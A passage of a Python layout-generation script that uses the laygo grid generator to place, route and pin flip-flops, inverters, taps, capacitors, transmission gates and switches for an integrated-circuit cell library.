laygen.route_vhv(laygen.layers['metal'][3], laygen.layers['metal'][4], i9_i_xy[0], ilch1_ckb_xy[0], 3, rg_m3m4)
# iclk
laygen.route_vhv(laygen.layers['metal'][3], laygen.layers['metal'][4], i9_o_xy[0], ilch1_ck_xy[0], 2, rg_m3m4)
# intermediate
laygen.route_vhv(laygen.layers['metal'][3], laygen.layers['metal'][4], ilch0_o_xy[0], ilch1_i_xy[0], 5, rg_m3m4)
# stb
laygen.route_vhv(laygen.layers['metal'][3], laygen.layers['metal'][4], i10_o_xy[0], ilch0_stb_xy[0], 6, rg_m3m4)
laygen.route_vhv(laygen.layers['metal'][3], laygen.layers['metal'][4], i10_o_xy[0], ilch1_stb_xy[0], 6, rg_m3m4)
# rstb
laygen.route_vhv(laygen.layers['metal'][3], laygen.layers['metal'][4], i11_o_xy[0], ilch0_rstb_xy[0], 7, rg_m3m4)
laygen.route_vhv(laygen.layers['metal'][3], laygen.layers['metal'][4], i11_o_xy[0], ilch1_rstb_xy[0], 7, rg_m3m4)
#pin
if create_pin == True:
laygen.pin(name='I', layer=laygen.layers['pin'][3], xy=ilch0_i_xy, gridname=rg_m3m4)
laygen.pin(name='CLK', layer=laygen.layers['pin'][3], xy=i8_i_xy, gridname=rg_m3m4)
laygen.pin(name='ST', layer=laygen.layers['pin'][3], xy=i10_i_xy, gridname=rg_m3m4)
laygen.pin(name='RST', layer=laygen.layers['pin'][3], xy=i11_i_xy, gridname=rg_m3m4)
laygen.pin(name='O', layer=laygen.layers['pin'][3], xy=ilch1_o_xy, gridname=rg_m3m4)
#power pin
rvdd0_pin_xy = laygen.get_inst_pin_xy(i8.name, 'VDD', rg_m1m2)
rvdd1_pin_xy = laygen.get_inst_pin_xy("I" + objectname_pfix + 'LCH1ND0', 'VDD', rg_m1m2) #(fix this)
rvss0_pin_xy = laygen.get_inst_pin_xy(i8.name, 'VSS', rg_m1m2)
rvss1_pin_xy = laygen.get_inst_pin_xy("I" + objectname_pfix + 'LCH1ND0', 'VSS', rg_m1m2)
laygen.pin(name='VDD', layer=laygen.layers['pin'][2], xy=np.vstack((rvdd0_pin_xy[0],rvdd1_pin_xy[1])), gridname=rg_m1m2)
laygen.pin(name='VSS', layer=laygen.layers['pin'][2], xy=np.vstack((rvss0_pin_xy[0],rvss1_pin_xy[1])), gridname=rg_m1m2)
def generate_dff_strsth_ckb(laygen, objectname_pfix, placement_grid, routing_grid_m1m2, routing_grid_m2m3, routing_grid_m3m4,
origin=np.array([0, 0]), m=4, create_pin=False):
pg = placement_grid
rg_m1m2 = routing_grid_m1m2
rg_m2m3 = routing_grid_m2m3
rg_m3m4 = routing_grid_m3m4
# placement
i12 = laygen.place("I" + objectname_pfix + 'INV12', "inv_" + str(m) + "x", pg, xy=origin)
i8 = laygen.relplace(name = "I" + objectname_pfix + 'INV8', templatename = "inv_" + str(m) + "x", gridname = pg, refinstname = i12.name) #clk buffers -- try to make sure the number is same with schematic
i9 = laygen.relplace(name = "I" + objectname_pfix + 'INV9', templatename = "inv_" + str(m) + "x", gridname = pg, refinstname = i8.name) #that is why it's not start from '0'
i10= laygen.relplace(name = "I" + objectname_pfix + 'INV10', templatename = "inv_" + str(m) + "x", gridname = pg, refinstname = i9.name) #stb
i11= laygen.relplace(name = "I" + objectname_pfix + 'INV11', templatename = "inv_" + str(m) + "x", gridname = pg, refinstname = i10.name) #rstb
org=origin+laygen.get_xy(obj =laygen.get_inst(name = 'I'+objectname_pfix+'INV11'), gridname = pg)+ laygen.get_xy(obj = i10.template, gridname = pg) * np.array([1, 0])
generate_latch_2ck_strstbh(laygen, objectname_pfix+'LCH0', placement_grid, routing_grid_m1m2, routing_grid_m2m3, routing_grid_m3m4, #Can we return the object of it as before? -- Zhongkai
origin=org, m=m, pin_clk_y=3, pin_clkb_y=2, route_mem_y=4, route_rstm_y = 8, pin_o_y=5, create_pin=False) ##These two lines use different position for clk and clkb
org=origin+laygen.get_xy(obj =laygen.get_inst(name = 'I'+objectname_pfix+'LCH0ND0'), gridname = pg)+ \
laygen.get_xy(obj = laygen.get_inst('I' + objectname_pfix + 'LCH0ND0').template, gridname = pg) * np.array([1, 0])
generate_latch_2ck_strstbh(laygen, objectname_pfix+'LCH1', placement_grid, routing_grid_m1m2, routing_grid_m2m3, routing_grid_m3m4,
origin=org, m=m, pin_clk_y=2, pin_clkb_y=3, route_mem_y=4, route_rstm_y = 8, pin_o_y=5, create_pin=False)
#inverter coordinates
i12_i_xy = laygen.get_inst_pin_xy(i12.name, 'I', rg_m3m4)
i12_o_xy = laygen.get_inst_pin_xy(i12.name, 'O', rg_m3m4)
i8_i_xy = laygen.get_inst_pin_xy(i8.name, 'I', rg_m3m4)
i8_o_xy = laygen.get_inst_pin_xy(i8.name, 'O', rg_m3m4)
i9_i_xy = laygen.get_inst_pin_xy(i9.name, 'I', rg_m3m4)
i9_o_xy = laygen.get_inst_pin_xy(i9.name, 'O', rg_m3m4)
i10_i_xy = laygen.get_inst_pin_xy(i10.name, 'I', rg_m3m4)
i10_o_xy = laygen.get_inst_pin_xy(i10.name, 'O', rg_m3m4)
i11_i_xy = laygen.get_inst_pin_xy(i11.name, 'I', rg_m3m4)
i11_o_xy = laygen.get_inst_pin_xy(i11.name, 'O', rg_m3m4)
#Latch coordinate
ilch0_i_xy = laygen.get_inst_pin_xy('I' + objectname_pfix + 'LCH0TINV0', 'I', rg_m3m4)
ilch0_ck_xy = laygen.get_inst_pin_xy('I' + objectname_pfix + 'LCH0TINV0', 'EN', rg_m3m4)
ilch0_ckb_xy = laygen.get_inst_pin_xy('I' + objectname_pfix + 'LCH0TINV0', 'ENB', rg_m3m4)
ilch0_stb_xy = laygen.get_inst_pin_xy('I' + objectname_pfix + 'LCH0ND0', 'B', rg_m3m4) #set pin of latch 0
ilch0_rstb_xy = laygen.get_inst_pin_xy('I' + objectname_pfix + 'LCH0ND1', 'B', rg_m3m4) #reset pin of latch 0
ilch0_o_xy = laygen.get_inst_pin_xy('I' + objectname_pfix + 'LCH0ND0', 'O', rg_m3m4)
ilch1_i_xy = laygen.get_inst_pin_xy('I' + objectname_pfix + 'LCH1TINV0', 'I', rg_m3m4)
ilch1_ck_xy = laygen.get_inst_pin_xy('I' + objectname_pfix + 'LCH1TINV0', 'EN', rg_m3m4)
ilch1_ckb_xy = laygen.get_inst_pin_xy('I' + objectname_pfix + 'LCH1TINV0', 'ENB', rg_m3m4)
ilch1_stb_xy = laygen.get_inst_pin_xy('I' + objectname_pfix + 'LCH1ND0', 'B', rg_m3m4) #set pin of latch 0
ilch1_rstb_xy = laygen.get_inst_pin_xy('I' + objectname_pfix + 'LCH1ND1', 'B', rg_m3m4) #reset pin of latch 1
ilch1_o_xy = laygen.get_inst_pin_xy('I' + objectname_pfix + 'LCH1ND0', 'O', rg_m3m4)
#clk
laygen.route_vhv(laygen.layers['metal'][3], laygen.layers['metal'][4], i12_o_xy[0], i8_i_xy[0], 5, rg_m3m4)
# iclkb
laygen.route_vhv(laygen.layers['metal'][3], laygen.layers['metal'][4], i8_o_xy[0], i9_i_xy[0], 3, rg_m3m4)
laygen.route_vhv(laygen.layers['metal'][3], laygen.layers['metal'][4], i9_i_xy[0], ilch1_ckb_xy[0], 3, rg_m3m4)
# iclk
laygen.route_vhv(laygen.layers['metal'][3], laygen.layers['metal'][4], i9_o_xy[0], ilch1_ck_xy[0], 2, rg_m3m4)
# intermediate
laygen.route_vhv(laygen.layers['metal'][3], laygen.layers['metal'][4], ilch0_o_xy[0], ilch1_i_xy[0], 5, rg_m3m4)
# stb
laygen.route_vhv(laygen.layers['metal'][3], laygen.layers['metal'][4], i10_o_xy[0], ilch0_stb_xy[0], 6, rg_m3m4)
laygen.route_vhv(laygen.layers['metal'][3], laygen.layers['metal'][4], i10_o_xy[0], ilch1_stb_xy[0], 6, rg_m3m4)
# rstb
laygen.route_vhv(laygen.layers['metal'][3], laygen.layers['metal'][4], i11_o_xy[0], ilch0_rstb_xy[0], 7, rg_m3m4)
laygen.route_vhv(laygen.layers['metal'][3], laygen.layers['metal'][4], i11_o_xy[0], ilch1_rstb_xy[0], 7, rg_m3m4)
#pin
if create_pin == True:
laygen.pin(name='I', layer=laygen.layers['pin'][3], xy=ilch0_i_xy, gridname=rg_m3m4)
laygen.pin(name='CLKB', layer=laygen.layers['pin'][3], xy=i12_i_xy, gridname=rg_m3m4)
laygen.pin(name='ST', layer=laygen.layers['pin'][3], xy=i10_i_xy, gridname=rg_m3m4)
laygen.pin(name='RST', layer=laygen.layers['pin'][3], xy=i11_i_xy, gridname=rg_m3m4)
laygen.pin(name='O', layer=laygen.layers['pin'][3], xy=ilch1_o_xy, gridname=rg_m3m4)
#power pin
rvdd0_pin_xy = laygen.get_inst_pin_xy(i12.name, 'VDD', rg_m1m2)
rvdd1_pin_xy = laygen.get_inst_pin_xy("I" + objectname_pfix + 'LCH1ND0', 'VDD', rg_m1m2) #(fix this)
rvss0_pin_xy = laygen.get_inst_pin_xy(i12.name, 'VSS', rg_m1m2)
rvss1_pin_xy = laygen.get_inst_pin_xy("I" + objectname_pfix + 'LCH1ND0', 'VSS', rg_m1m2)
laygen.pin(name='VDD', layer=laygen.layers['pin'][2], xy=np.vstack((rvdd0_pin_xy[0],rvdd1_pin_xy[1])), gridname=rg_m1m2)
laygen.pin(name='VSS', layer=laygen.layers['pin'][2], xy=np.vstack((rvss0_pin_xy[0],rvss1_pin_xy[1])), gridname=rg_m1m2)
if __name__ == '__main__':
laygen = laygo.GridLayoutGenerator(config_file="laygo_config.yaml")
import imp
try:
imp.find_module('bag')
laygen.use_phantom = False
except ImportError:
laygen.use_phantom = True
tech=laygen.tech
utemplib = tech+'_microtemplates_dense'
laygen.load_template(filename=tech+'_microtemplates_dense_templates.yaml', libname=utemplib)
laygen.load_grid(filename=tech+'_microtemplates_dense_grids.yaml', libname=utemplib)
laygen.templates.sel_library(utemplib)
laygen.grids.sel_library(utemplib)
#laygen.templates.display()
#laygen.grids.display()
#library generation
workinglib = tech+'_logic_templates'
laygen.add_library(workinglib)
laygen.sel_library(workinglib)
if os.path.exists(workinglib+'.yaml'): #generated layout file exists
laygen.load_template(filename=workinglib+'.yaml', libname=workinglib)
laygen.templates.sel_library(utemplib)
#grid
pg = 'placement_basic' #placement grid
rg_m1m2 = 'route_M1_M2_cmos'
rg_m2m3 = 'route_M2_M3_cmos'
rg_m3m4 = 'route_M3_M4_basic'
rg_m1m2_pin = 'route_M1_M2_basic'
rg_m2m3_pin = 'route_M2_M3_basic'
# cell generation
laygen.add_cell('space_1x')
laygen.sel_cell('space_1x')
generate_space_1x(laygen, objectname_pfix='SPACE0', placement_grid=pg, routing_grid_m1m2=rg_m1m2, create_pin=True)
laygen.add_template_from_cell()
laygen.add_cell('space_2x')
laygen.sel_cell('space_2x')
generate_space_2x(laygen, objectname_pfix='SPACE0', placement_grid=pg, routing_grid_m1m2=rg_m1m2, create_pin=True)
laygen.add_template_from_cell()
laygen.add_cell('space_4x')
laygen.sel_cell('space_4x')
generate_space_4x(laygen, objectname_pfix='SPACE0', placement_grid=pg, routing_grid_m1m2=rg_m1m2, create_pin=True)
laygen.add_template_from_cell()
laygen.add_cell('space_wovdd_1x')
laygen.sel_cell('space_wovdd_1x')
generate_space_wovdd_1x(laygen, objectname_pfix='SPACE0', placement_grid=pg, routing_grid_m1m2=rg_m1m2, create_pin=True)
laygen.add_template_from_cell()
laygen.add_cell('space_wovdd_2x')
laygen.sel_cell('space_wovdd_2x')
generate_space_wovdd_2x(laygen, objectname_pfix='SPACE0', placement_grid=pg, routing_grid_m1m2=rg_m1m2, create_pin=True)
laygen.add_template_from_cell()
laygen.add_cell('space_wovdd_4x')
laygen.sel_cell('space_wovdd_4x')
generate_space_wovdd_4x(laygen, objectname_pfix='SPACE0', placement_grid=pg, routing_grid_m1m2=rg_m1m2, create_pin=True)
laygen.add_template_from_cell()
laygen.add_cell('tap')
laygen.sel_cell('tap')
generate_tap(laygen, objectname_pfix='TAP0', placement_grid=pg, routing_grid_m1m2=rg_m1m2,
devname_nmos_tap='nmos4_fast_tap', devname_pmos_tap='pmos4_fast_tap',
origin=np.array([0, 0]), create_pin=True
)
laygen.add_template_from_cell()
laygen.add_cell('tap_float')
laygen.sel_cell('tap_float')
generate_tap_float(laygen, objectname_pfix='TAP0', placement_grid=pg, routing_grid_m1m2=rg_m1m2,
devname_nmos_tap='nmos4_fast_tap', devname_pmos_tap='pmos4_fast_tap',
origin=np.array([0, 0]), create_pin=True
)
laygen.add_template_from_cell()
laygen.add_cell('tap_float_pmos_vss')
laygen.sel_cell('tap_float_pmos_vss')
generate_tap_float_pmos_vss(laygen, objectname_pfix='TAP0', placement_grid=pg, routing_grid_m1m2=rg_m1m2,
devname_nmos_tap='nmos4_fast_tap', devname_pmos_tap='pmos4_fast_tap',
origin=np.array([0, 0]), create_pin=True
)
laygen.add_template_from_cell()
laygen.add_cell('tap_pmos_vss')
laygen.sel_cell('tap_pmos_vss')
generate_tap_pmos_vss(laygen, objectname_pfix='TAP0', placement_grid=pg, routing_grid_m1m2=rg_m1m2,
devname_nmos_tap='nmos4_fast_tap', devname_pmos_tap='pmos4_fast_tap',
origin=np.array([0, 0]), create_pin=True
)
laygen.add_template_from_cell()
laygen.add_cell('tap_wovdd')
laygen.sel_cell('tap_wovdd')
generate_tap_wovdd(laygen, objectname_pfix='TAP0', placement_grid=pg, routing_grid_m1m2=rg_m1m2,
devname_nmos_tap='nmos4_fast_tap',
origin=np.array([0, 0]), create_pin=True
)
laygen.add_template_from_cell()
laygen.add_cell('bcap_4x')
laygen.sel_cell('bcap_4x')
generate_bcap(laygen, objectname_pfix='DCAP0', placement_grid=pg, routing_grid_m1m2=rg_m1m2,
devname_nmos_boundary='nmos4_fast_boundary',
devname_nmos_body='nmos4_fast_center_nf2',
devname_pmos_boundary='pmos4_fast_boundary',
devname_pmos_space='pmos4_fast_space',
m=4, origin=np.array([0,0]), create_pin=True)
laygen.add_template_from_cell()
laygen.add_cell('bcap_8x')
laygen.sel_cell('bcap_8x')
generate_bcap(laygen, objectname_pfix='DCAP0', placement_grid=pg, routing_grid_m1m2=rg_m1m2,
devname_nmos_boundary='nmos4_fast_boundary',
devname_nmos_body='nmos4_fast_center_nf2',
devname_pmos_boundary='pmos4_fast_boundary',
devname_pmos_space='pmos4_fast_space',
m=8, origin=np.array([0,0]), create_pin=True)
laygen.add_template_from_cell()
laygen.add_cell('bcap2_8x')
laygen.sel_cell('bcap2_8x')
generate_bcap2(laygen, objectname_pfix='BCAP0', placement_grid=pg,
routing_grid_m1m2=rg_m1m2, routing_grid_m2m3=rg_m2m3,
devname_nmos_boundary='nmos4_fast_boundary',
devname_nmos_body='nmos4_fast_center_nf2',
devname_pmos_boundary='pmos4_fast_boundary',
devname_pmos_body='pmos4_fast_center_nf2',
m=8, origin=np.array([0,0]), create_pin=True)
laygen.add_template_from_cell()
laygen.add_cell('dcap_2x')
laygen.sel_cell('dcap_2x')
generate_dcap(laygen, objectname_pfix='DCAP0', placement_grid=pg, routing_grid_m1m2=rg_m1m2,
devname_nmos_boundary='nmos4_fast_boundary',
devname_nmos_body='nmos4_fast_center_nf2',
devname_pmos_boundary='pmos4_fast_boundary',
devname_pmos_space='pmos4_fast_dmy_nf2',
m=2, origin=np.array([0,0]), create_pin=True)
laygen.add_template_from_cell()
laygen.add_cell('dcap_4x')
laygen.sel_cell('dcap_4x')
generate_dcap(laygen, objectname_pfix='DCAP0', placement_grid=pg, routing_grid_m1m2=rg_m1m2,
devname_nmos_boundary='nmos4_fast_boundary',
devname_nmos_body='nmos4_fast_center_nf2',
devname_pmos_boundary='pmos4_fast_boundary',
devname_pmos_space='pmos4_fast_dmy_nf2',
m=4, origin=np.array([0,0]), create_pin=True)
laygen.add_template_from_cell()
laygen.add_cell('dcap_8x')
laygen.sel_cell('dcap_8x')
generate_dcap(laygen, objectname_pfix='DCAP0', placement_grid=pg, routing_grid_m1m2=rg_m1m2,
devname_nmos_boundary='nmos4_fast_boundary',
devname_nmos_body='nmos4_fast_center_nf2',
devname_pmos_boundary='pmos4_fast_boundary',
devname_pmos_space='pmos4_fast_dmy_nf2',
m=8, origin=np.array([0,0]), create_pin=True)
laygen.add_template_from_cell()
laygen.add_cell('dcap2_4x')
laygen.sel_cell('dcap2_4x')
generate_dcap2(laygen, objectname_pfix='DCAP0', placement_grid=pg,
routing_grid_m1m2=rg_m1m2, routing_grid_m2m3=rg_m2m3,
devname_nmos_boundary='nmos4_fast_boundary',
devname_nmos_body='nmos4_fast_center_nf2',
devname_pmos_boundary='pmos4_fast_boundary',
devname_pmos_body='pmos4_fast_center_nf2',
m=4, origin=np.array([0,0]), create_pin=True)
laygen.add_template_from_cell()
laygen.add_cell('dcap2_8x')
laygen.sel_cell('dcap2_8x')
generate_dcap2(laygen, objectname_pfix='DCAP0', placement_grid=pg,
routing_grid_m1m2=rg_m1m2, routing_grid_m2m3=rg_m2m3,
devname_nmos_boundary='nmos4_fast_boundary',
devname_nmos_body='nmos4_fast_center_nf2',
devname_pmos_boundary='pmos4_fast_boundary',
devname_pmos_body='pmos4_fast_center_nf2',
m=8, origin=np.array([0,0]), create_pin=True)
laygen.add_template_from_cell()
laygen.add_cell('dcap3_8x')
laygen.sel_cell('dcap3_8x')
generate_dcap3(laygen, objectname_pfix='DCAP0', placement_grid=pg, routing_grid_m1m2=rg_m1m2,
devname_nmos_boundary='nmos4_fast_boundary',
devname_nmos_body='nmos4_fast_center_nf2',
devname_pmos_boundary='pmos4_fast_boundary',
devname_pmos_space='pmos4_fast_dmy_nf2',
m=8, origin=np.array([0,0]), create_pin=True)
laygen.add_template_from_cell()
laygen.add_cell('tie_2x')
laygen.sel_cell('tie_2x')
generate_tie(laygen, objectname_pfix='TIE0',
placement_grid=pg, routing_grid_m1m2=rg_m1m2, routing_grid_m2m3=rg_m2m3,
routing_grid_m1m2_pin=rg_m1m2_pin, routing_grid_m2m3_pin=rg_m2m3_pin,
devname_nmos_boundary='nmos4_fast_boundary',
devname_nmos_body='nmos4_fast_center_nf2',
devname_pmos_boundary='pmos4_fast_boundary',
devname_pmos_body='pmos4_fast_center_nf2', m=2, create_pin=True
)
laygen.add_template_from_cell()
laygen.add_cell('tie_wovdd_2x')
laygen.sel_cell('tie_wovdd_2x')
generate_tie_wovdd(laygen, objectname_pfix='TIE0',
placement_grid=pg, routing_grid_m1m2=rg_m1m2, routing_grid_m2m3=rg_m2m3,
routing_grid_m1m2_pin=rg_m1m2_pin, routing_grid_m2m3_pin=rg_m2m3_pin,
devname_nmos_boundary='nmos4_fast_boundary',
devname_nmos_body='nmos4_fast_center_nf2',
m=2, create_pin=True
)
laygen.add_template_from_cell()
laygen.add_cell('inv_1x')
laygen.sel_cell('inv_1x')
generate_inv_1x(laygen, objectname_pfix='INV0',
placement_grid=pg, routing_grid_m1m2=rg_m1m2, routing_grid_m2m3=rg_m2m3,
routing_grid_m1m2_pin=rg_m1m2_pin, routing_grid_m2m3_pin=rg_m2m3_pin,
devname_nmos_boundary='nmos4_fast_boundary',
devname_nmos_body='nmos4_fast_center_nf1_left',
devname_nmos_space='nmos4_fast_space',
devname_pmos_boundary='pmos4_fast_boundary',
devname_pmos_body='pmos4_fast_center_nf1_left',
devname_pmos_space='pmos4_fast_space',
create_pin=True
)
laygen.add_template_from_cell()
laygen.add_cell('inv_2x')
laygen.sel_cell('inv_2x')
generate_inv(laygen, objectname_pfix='INV0',
placement_grid=pg, routing_grid_m1m2=rg_m1m2, routing_grid_m2m3=rg_m2m3,
routing_grid_m1m2_pin=rg_m1m2_pin, routing_grid_m2m3_pin=rg_m2m3_pin,
devname_nmos_boundary='nmos4_fast_boundary',
devname_nmos_body='nmos4_fast_center_nf2',
devname_pmos_boundary='pmos4_fast_boundary',
devname_pmos_body='pmos4_fast_center_nf2',
m=2, create_pin=True
)
laygen.add_template_from_cell()
laygen.add_cell('inv_4x')
laygen.sel_cell('inv_4x')
generate_inv(laygen, objectname_pfix='INV0',
placement_grid=pg, routing_grid_m1m2=rg_m1m2, routing_grid_m2m3=rg_m2m3, routing_grid_m1m2_pin=rg_m1m2_pin,
routing_grid_m2m3_pin=rg_m2m3_pin,
devname_nmos_boundary='nmos4_fast_boundary',
devname_nmos_body='nmos4_fast_center_nf2',
devname_pmos_boundary='pmos4_fast_boundary',
devname_pmos_body='pmos4_fast_center_nf2',
m=4, create_pin=True
)
laygen.add_template_from_cell()
laygen.add_cell('inv_6x')
laygen.sel_cell('inv_6x')
generate_inv(laygen, objectname_pfix='INV0',
placement_grid=pg, routing_grid_m1m2=rg_m1m2, routing_grid_m2m3=rg_m2m3, routing_grid_m1m2_pin=rg_m1m2_pin,
routing_grid_m2m3_pin=rg_m2m3_pin,
devname_nmos_boundary='nmos4_fast_boundary',
devname_nmos_body='nmos4_fast_center_nf2',
devname_pmos_boundary='pmos4_fast_boundary',
devname_pmos_body='pmos4_fast_center_nf2',
m=6, create_pin=True
)
laygen.add_template_from_cell()
laygen.add_cell('inv_8x')
laygen.sel_cell('inv_8x')
generate_inv(laygen, objectname_pfix='INV0',
placement_grid=pg, routing_grid_m1m2=rg_m1m2, routing_grid_m2m3=rg_m2m3, routing_grid_m1m2_pin=rg_m1m2_pin,
routing_grid_m2m3_pin=rg_m2m3_pin,
devname_nmos_boundary='nmos4_fast_boundary',
devname_nmos_body='nmos4_fast_center_nf2',
devname_pmos_boundary='pmos4_fast_boundary',
devname_pmos_body='pmos4_fast_center_nf2',
m=8, create_pin=True
)
laygen.add_template_from_cell()
laygen.add_cell('inv_10x')
laygen.sel_cell('inv_10x')
generate_inv(laygen, objectname_pfix='INV0',
placement_grid=pg, routing_grid_m1m2=rg_m1m2, routing_grid_m2m3=rg_m2m3, routing_grid_m1m2_pin=rg_m1m2_pin,
routing_grid_m2m3_pin=rg_m2m3_pin,
devname_nmos_boundary='nmos4_fast_boundary',
devname_nmos_body='nmos4_fast_center_nf2',
devname_pmos_boundary='pmos4_fast_boundary',
devname_pmos_body='pmos4_fast_center_nf2',
m=10, create_pin=True
)
laygen.add_template_from_cell()
laygen.add_cell('inv_16x')
laygen.sel_cell('inv_16x')
generate_inv(laygen, objectname_pfix='INV0',
placement_grid=pg, routing_grid_m1m2=rg_m1m2, routing_grid_m2m3=rg_m2m3, routing_grid_m1m2_pin=rg_m1m2_pin,
routing_grid_m2m3_pin=rg_m2m3_pin,
devname_nmos_boundary='nmos4_fast_boundary',
devname_nmos_body='nmos4_fast_center_nf2',
devname_pmos_boundary='pmos4_fast_boundary',
devname_pmos_body='pmos4_fast_center_nf2',
m=16, create_pin=True
)
laygen.add_template_from_cell()
laygen.add_cell('inv_24x')
laygen.sel_cell('inv_24x')
generate_inv(laygen, objectname_pfix='INV0',
placement_grid=pg, routing_grid_m1m2=rg_m1m2, routing_grid_m2m3=rg_m2m3, routing_grid_m1m2_pin=rg_m1m2_pin,
routing_grid_m2m3_pin=rg_m2m3_pin,
devname_nmos_boundary='nmos4_fast_boundary',
devname_nmos_body='nmos4_fast_center_nf2',
devname_pmos_boundary='pmos4_fast_boundary',
devname_pmos_body='pmos4_fast_center_nf2',
m=24, create_pin=True
)
laygen.add_template_from_cell()
laygen.add_cell('inv_32x')
laygen.sel_cell('inv_32x')
generate_inv(laygen, objectname_pfix='INV0',
placement_grid=pg, routing_grid_m1m2=rg_m1m2, routing_grid_m2m3=rg_m2m3, routing_grid_m1m2_pin=rg_m1m2_pin,
routing_grid_m2m3_pin=rg_m2m3_pin,
devname_nmos_boundary='nmos4_fast_boundary',
devname_nmos_body='nmos4_fast_center_nf2',
devname_pmos_boundary='pmos4_fast_boundary',
devname_pmos_body='pmos4_fast_center_nf2',
m=32, create_pin=True
)
laygen.add_template_from_cell()
laygen.add_cell('tgate_2x')
laygen.sel_cell('tgate_2x')
generate_tgate(laygen, objectname_pfix='TG0',
placement_grid=pg, routing_grid_m1m2=rg_m1m2, routing_grid_m2m3=rg_m2m3,
routing_grid_m1m2_pin=rg_m1m2_pin, routing_grid_m2m3_pin=rg_m2m3_pin,
devname_nmos_boundary='nmos4_fast_boundary',
devname_nmos_body='nmos4_fast_center_nf2',
devname_nmos_space='nmos4_fast_space',
devname_pmos_boundary='pmos4_fast_boundary',
devname_pmos_body='pmos4_fast_center_nf2',
devname_pmos_space='pmos4_fast_space',
m=2, create_pin=True
)
laygen.add_template_from_cell()
laygen.add_cell('tgate_4x')
laygen.sel_cell('tgate_4x')
generate_tgate(laygen, objectname_pfix='TG0',
placement_grid=pg, routing_grid_m1m2=rg_m1m2, routing_grid_m2m3=rg_m2m3,
routing_grid_m1m2_pin=rg_m1m2_pin, routing_grid_m2m3_pin=rg_m2m3_pin,
devname_nmos_boundary='nmos4_fast_boundary',
devname_nmos_body='nmos4_fast_center_nf2',
devname_nmos_space='nmos4_fast_space',
devname_pmos_boundary='pmos4_fast_boundary',
devname_pmos_body='pmos4_fast_center_nf2',
devname_pmos_space='pmos4_fast_space',
m=4, create_pin=True
)
laygen.add_template_from_cell()
laygen.add_cell('tgate_8x')
laygen.sel_cell('tgate_8x')
generate_tgate(laygen, objectname_pfix='TG0',
placement_grid=pg, routing_grid_m1m2=rg_m1m2, routing_grid_m2m3=rg_m2m3,
routing_grid_m1m2_pin=rg_m1m2_pin, routing_grid_m2m3_pin=rg_m2m3_pin,
devname_nmos_boundary='nmos4_fast_boundary',
devname_nmos_body='nmos4_fast_center_nf2',
devname_nmos_space='nmos4_fast_space',
devname_pmos_boundary='pmos4_fast_boundary',
devname_pmos_body='pmos4_fast_center_nf2',
devname_pmos_space='pmos4_fast_space',
m=8, create_pin=True
)
laygen.add_template_from_cell()
laygen.add_cell('nsw_2x')
laygen.sel_cell('nsw_2x')
generate_nsw(laygen, objectname_pfix='NSW0',
placement_grid=pg, routing_grid_m1m2=rg_m1m2, routing_grid_m2m3=rg_m2m3,
routing_grid_m1m2_pin=rg_m1m2_pin, routing_grid_m2m3_pin=rg_m2m3_pin,
devname_nmos_boundary='nmos4_fast_boundary',
devname_nmos_body='nmos4_fast_center_nf2',
devname_nmos_space='nmos4_fast_space',
devname_pmos_boundary='pmos4_fast_boundary',
devname_pmos_body='pmos4_fast_center_nf2',
devname_pmos_space='pmos4_fast_space',
m=2, create_pin=True
)
laygen.add_template_from_cell()
laygen.add_cell('nsw_4x')
laygen.sel_cell('nsw_4x')
generate_nsw(laygen, objectname_pfix='NSW0',
placement_grid=pg, routing_grid_m1m2=rg_m1m2, routing_grid_m2m3=rg_m2m3,
routing_grid_m1m2_pin=rg_m1m2_pin, routing_grid_m2m3_pin=rg_m2m3_pin,
devname_nmos_boundary='nmos4_fast_boundary',
devname_nmos_body='nmos4_fast_center_nf2',
devname_nmos_space='nmos4_fast_space',
devname_pmos_boundary='pmos4_fast_boundary',
devname_pmos_body='pmos4_fast_center_nf2',
devname_pmos_space='pmos4_fast_space',
m=4, create_pin=True
)
laygen.add_template_from_cell()
laygen.add_cell('nsw_8x')
laygen.sel_cell('nsw_8x')
generate_nsw(laygen, objectname_pfix='NSW0',
placement_grid=pg, routing_grid_m1m2=rg_m1m2, routing_grid_m2m3=rg_m2m3,
routing_grid_m1m2_pin=rg_m1m2_pin, routing_grid_m2m3_pin=rg_m2m3_pin,
devname_nmos_boundary='nmos4_fast_boundary',
devname_nmos_body='nmos4_fast_center_nf2',
devname_nmos_space='nmos4_fast_space',
devname_pmos_boundary='pmos4_fast_boundary',
devname_pmos_body='pmos4_fast_center_nf2',
devname_pmos_space='pmos4_fast_space',
m=8, create_pin=True
)
laygen.add_template_from_cell()
laygen.add_cell('nsw_12x')
laygen.sel_cell('nsw_12x')
generate_nsw(laygen, objectname_pfix='NSW0',
placement_grid=pg, routing_grid_m1m2=rg_m1m2, routing_grid_m2m3=rg_m2m3,
routing_grid_m1m2_pin=rg_m1m2_pin, routing_grid_m2m3_pin=rg_m2m3_pin,
devname_nmos_boundary='nmos4_fast_boundary',
devname_nmos_body='nmos4_fast_center_nf2',
devname_nmos_space='nmos4_fast_space',
devname_pmos_boundary='pmos4_fast_boundary',
devname_pmos_body='pmos4_fast_center_nf2',
devname_pmos_space='pmos4_fast_space',
m=12, create_pin=True
)
laygen.add_template_from_cell()
laygen.add_cell('nsw_16x')
laygen.sel_cell('nsw_16x')
generate_nsw(laygen, objectname_pfix='NSW0',
placement_grid=pg, routing_grid_m1m2=rg_m1m2, routing_grid_m2m3=rg_m2m3,
routing_grid_m1m2_pin=rg_m1m2_pin, routing_grid_m2m3_pin=rg_m2m3_pin,
devname_nmos_boundary='nmos4_fast_boundary',
devname_nmos_body='nmos4_fast_center_nf2',
devname_nmos_space='nmos4_fast_space',
devname_pmos_boundary='pmos4_fast_boundary',
devname_pmos_body='pmos4_fast_center_nf2',
devname_pmos_space='pmos4_fast_space',
m=16, create_pin=True
)
laygen.add_template_from_cell()
laygen.add_cell('nsw_wovdd_2x')
laygen.sel_cell('nsw_wovdd_2x')
generate_nsw_wovdd(laygen, objectname_pfix='NSW0',
placement_grid=pg, routing_grid_m1m2=rg_m1m2, routing_grid_m2m3=rg_m2m3,
routing_grid_m1m2_pin=rg_m1m2_pin, routing_grid_m2m3_pin=rg_m2m3_pin,
devname_nmos_boundary='nmos4_fast_boundary',
devname_nmos_body='nmos4_fast_center_nf2',
devname_nmos_space='nmos4_fast_space',
m=2, create_pin=True
)
laygen.add_template_from_cell()
laygen.add_cell('nsw_wovdd_4x')
laygen.sel_cell('nsw_wovdd_4x')
generate_nsw_wovdd(laygen, objectname_pfix='NSW0',
placement_grid=pg, routing_grid_m1m2=rg_m1m2, routing_grid_m2m3=rg_m2m3,
